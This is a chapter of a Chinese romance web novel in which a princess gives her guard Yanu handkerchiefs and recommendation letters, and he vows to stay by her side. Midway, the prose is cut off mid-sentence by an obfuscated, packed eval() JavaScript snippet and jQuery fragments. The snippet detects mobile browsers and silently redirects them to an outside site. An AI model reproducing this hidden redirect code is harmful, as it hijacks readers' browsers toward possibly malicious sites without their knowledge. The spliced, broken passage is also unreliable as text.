哑奴走得干脆利索,头也不回,几息便消失在视野内。
谢明棠站在满当当的卷轴架子旁,呆滞了好一会,连椿榕进来时的请示声都没有听到。
“……公主?”椿榕走到跟前,轻声唤她,目露担忧,“不顺利么?”
谢明棠缓缓回神,深吸一口气,咬牙切齿,一字一顿道,“给他送几方帕子,十、不,二十个帕子!”
椿榕茫然地眨眨眼,怎么也没想明白为什么要送帕子。
但她很快反应过来,连忙欠身,领命离开。
公主要给哑奴二十方手帕。
椿榕思忖片刻,精挑细选了不同花纹样式的帕子,亲自送去偏殿。
她立在院中,并未进去,让门口的守礼传话。
在哑奴出来前,她打量一圈偏殿,遽然看到旁边的武器架子上,有一抹白色迎风飞舞。
椿榕心中疑惑,靠近看了看。
原来是一方手帕。
帕子洁白,一角绣着明艳的海棠花。
有点眼熟。
她思忖片刻,忽然记起来,这是公主的手帕。
椿榕凝神,仔细看过去。
帕子另一角……被绑在匕首上,匕首插进武器架子的凹槽里。
应该是担心手帕太轻,被风吹走,特意系在匕首上。
椿榕低头细细打量了一下,认出匕首正是公主赏赐给哑奴的那柄精铁匕首,这也是他跟在公主身边后收到的第一个奖励。
忽然,平稳的脚步声在院中响起。
“姑姑。”哑奴立在檐下,淡淡叫了她一声。
椿榕仓促回神,提步迅速走到他面前,吩咐一旁端着托盘的小丫鬟上前,“公主赏你的锦帕。”
她身后,一溜二十个丫鬟,端着二十个托盘,整整齐齐地上前一步。
嚯。
跟在哑奴身旁的守礼下意识后仰,慌忙侧身,避开声势。
哑奴:“……”
他挑了挑眉,漫不经心上前,随意扫了眼平铺在托盘上的精致锦帕,不动声色地勾了勾唇。
还真是较真儿。
他嗯了声,懒懒道,“谢公主赏。”
椿榕见他收下,微微松了口气,垂眸避开他的眼神,匆匆带着人离开偏殿。
不知为何,她每次见到哑奴都觉得心里毛毛的。
那双黑漆漆的眼睛看向她时,仿佛完完整整的、从内到外轻易看透一个人,格外骇人。
“哑哥,轮换着用?我去洗洗它们。”她身后,守礼在询问哑奴。
高大的男人走到武器架子旁,从匕首上解开已然晒干的帕子,慢条斯理地折叠,收进怀中,“不必,直接放箱子里。”
两人的对话声轻飘飘传到椿榕耳边。
她抿了抿唇,暗自思忖。
跟哑奴对视时,她心中害怕。
但公主却敢直直地盯着他,肆意指使他做这做那。
椿榕感叹一声。
估计只有面对公主时,哑奴才表现得格外乖顺,没有那种唬人的气场。
-
次日,书房。
檀香幽幽,燃起的烟弥漫开来,飘到书桌上,扑在谢明棠身上,晕染出薄薄的朦胧感,衬得她多了几分沉静。
哑奴安静侍立一旁,修长手指捏着墨锭,熟练磨墨。
他时不时瞥一眼公主的动静。
但谢明棠此时身边就像长了眼睛似的,机灵躲开他的视线,挡的严严实实。
她写得很认真,一笔一画谨慎落笔,还要防他偷看,写得满头大汗。
哑奴哼笑一声,不再故意伸头逗她,放轻了磨墨的力气,淡淡道,“多谢公主赏赐的锦帕,够我用十年。想来这次公主不会忘记这些赏赐给我的帕子了。”
谢明棠猛地咳嗽两声,耳垂骤然通红。
绯色渐渐蔓延到脖颈,如雪地之上铺了一层红梅落英。
哑奴眯起眸子,定定地落在公主后颈。
谢明棠眨眨眼,逼退眼中咳出的水雾,惊悚地看向他,“好好说话。”
她搓了搓身上因为他阴阳怪气的语气而激起的鸡皮疙瘩,仰头瞪他。
后颈看不到了。
哑奴缓慢收回目光,平静回望公主,自然地转移话题,“墨条不够了,公主写完了?”
谢明棠啊了一声,迅速扫了一眼,忙不迭地继续写,“就差几个字。”
她重新低头,露出浅浅一截颈子,淡淡的绯色还残留在上面。
哑奴扬了扬唇,随意挪开桌上厚厚的一叠墨条,挡在书卷后面。
谢明棠专注地写字,丝毫没有发现他的小动作。
不消片刻,她终于放下毛笔,伸了个漫长的懒腰。
这次,她不再遮挡案上的帖子。
三份整整齐齐的函明晃晃暴露出来,白纸黑字,十分容易辨认。
哑奴眯了眯眼。
单单扫了一眼,他便清楚看到上面写着的收信人。
“礼教大师孟琢。”
“青州刺史叶至清。”
“武学宗师绝懿。”
全是大晋数一数二的人物。
哑奴一字字念出来,越念脸色越难看。说到最后,他目光沉沉,压抑如暴雨将至。
谢明棠唔了声,兀自打量桌上刚刚写好的信函,满意地揉了揉手腕,喜笑颜开。
听他念出名字,她更是欢喜地转了转信函的方向,让哑奴更容易看清。
“你不通礼教,很多礼仪也不甚了解。大晋一向重礼,这样不好,孟大师是数一数二的礼教泰斗,跟他学上一两个月,你肯定能脱胎换骨。”
“叶伯伯为人清廉,刚正不阿,精通地方政务,是皇兄的左膀右臂。你若想为官,我可以向他举荐你,在青州找个县当父母官。”
“绝懿就更厉害了,擅刀、擅剑,匕首这种轻型武器也玩得极好。你虽然擅长武学,但流派杂乱,并没有专门学习过,让绝大师点拨一番肯定受益颇深。”
她指着认真写好的信函,仰头看哑奴,笑得眉眼弯弯,“我向他们推荐了你。到时候,你就拿着信函求见他们,肯定能得偿所愿。”
“得偿所愿?”哑奴指节敲打着信函,垂眸,目光落在她不停开合的红唇上。
谢明棠用力点头,笃定道,“跟着他们学上几年,你一定会更厉害。”
忽然,她想起了什么,匆匆合掌拍了下,“对了对了,还要印上公主府的章。”
谢明棠拉开桌上的木盒,看到里面的长公主印后,她松了口气。
径直取出印章,她看向信函。
只见哑奴的指节还扣在上面,纹丝不动。
谢明棠蹙眉,小心捏住信函一角,往自己的方向扭,“抬手,我盖个章。”
哑奴一动不动。
谢明棠仰头瞪他一眼,推搡他覆在信上的手指,催促,“松开呀。”
哑奴平静地望她,黑眸如墨。
僵持片刻。
谢明棠心中恼怒,负气大力推向他的手。然而他站得稳稳的,手臂固若金汤。
一口气提起来又没吐出来。
谢明棠哽住,气得脸颊泛红,嫣然夺目。
绯色弥漫在白皙的脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825839|175515||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颊上,装点出艳丽的韵味。
哑奴目光一顿,呼吸骤停。
终于,他结实的大臂动了动。
谢明棠眨眼,睫毛簌簌抖动,专注地看向信函。
白纸上,颜色对比鲜明的麦色大掌微微抬起。
谢明棠眼前一亮。
接着,手掌一翻,手背朝上,五指又结结实实扣在信上。
谢明棠:“……”
她气笑了。
眼中不受控制泛起水雾,眼尾染上一圈粉色。
谢明棠恼恨地甩袖,蹬开杌子,扭头要走。
“公主,给。”
忽然,低沉的嗓音响起。
三封信函突兀出现在她眼前,拦住了她的去路。
循之看去,哑奴站在原地,老老实实捏着信函,亲自递到她面前,漆黑的眼眸罕见地映出疑惑,“公主不是让我松开?给您盖章?”
谢明棠:“……”
她深吸一口气,倔强瞪回去,想要从他真诚的脸上找出破绽,然而一无所获。
又深吸了一口气。
谢明棠一把夺过信函,拿起桌上的印章,利落盖了上去。
哑奴安静地看着她,始终没有阻止。
谢明棠盖好最后一封信函,将信将疑地瞥他一眼,心中竟突兀地升起些奇怪的念头。
难道说,他之前拒绝她,只是不喜欢她给的东西。这次,她的安排戳中他了?
谢明棠蹙了蹙眉,慢吞吞地放下印章,展开信函检查了一遍。
哑奴始终没有反应。
既没有伸手拦她,也没有张嘴拒绝。
信函没有任何问题。
他只要拿着它们求见几位大师,拜入他们门下,至少要跟随左右学个三五年,必然能远离上京。
谢明棠敛了敛眸子,下定决心递给哑奴,“给。”
安静片刻,哑奴缓缓伸手,握住信函的另一头。
谢明棠一滞,眼前忽然掠过他在公主府的点点滴滴。
学说话、学写字,彻夜守在她的屋外……
哑奴手臂用力,连拽两下,似笑非笑,“公主?”
谢明棠恍惚回神,不期然和哑奴饶有兴致的目光对上。
她下意识移开眼神,慌忙松手。
“离、离开后,你、你要好好学,可别丢了本公主的脸!”谢明棠昂了昂下巴,结结巴巴道。
哑奴掀眸掠过信函,细细看着,貌似敷衍地嗯了声。
谢明棠咬唇,心中气闷。
“多谢公主。”看完后,哑奴终于舍得从信函上移开目光。
他看向谢明棠,眸中漾起清浅的笑意,“我会寻个空闲机会拜访他们。”
“空、空闲?”谢明棠歪头,犹在赌气,“你都自由了,还有什么忙的时候……”
哑奴细心折好信函,神情淡淡,疑惑地看向公主,“谁说我要走了?既然跟公主说过不走,便不会变卦。至于它们,”说着,他晃了晃手中的信函,“公主亲笔为我写的信,亲自为我引荐大师,我定然要把握机会,认真学习。”
“等学有所成,才能更好地保护公主。”
他立在桌边。
檀香燃烧腾起的烟雾萦绕在他周围,模糊了他的五官与轮廓,竟显得格外温柔。
谢明棠迅速抖了抖睫毛,因他一番说辞怔愣当场,“什、什么?”
隔着薄薄的黛色烟气,她似乎看到哑奴勾起的唇角,透着狡猾。
他收好信函,漫不经心正了正身上的侍卫武服,“公主,奴该巡逻了。”
说完,他行礼离开。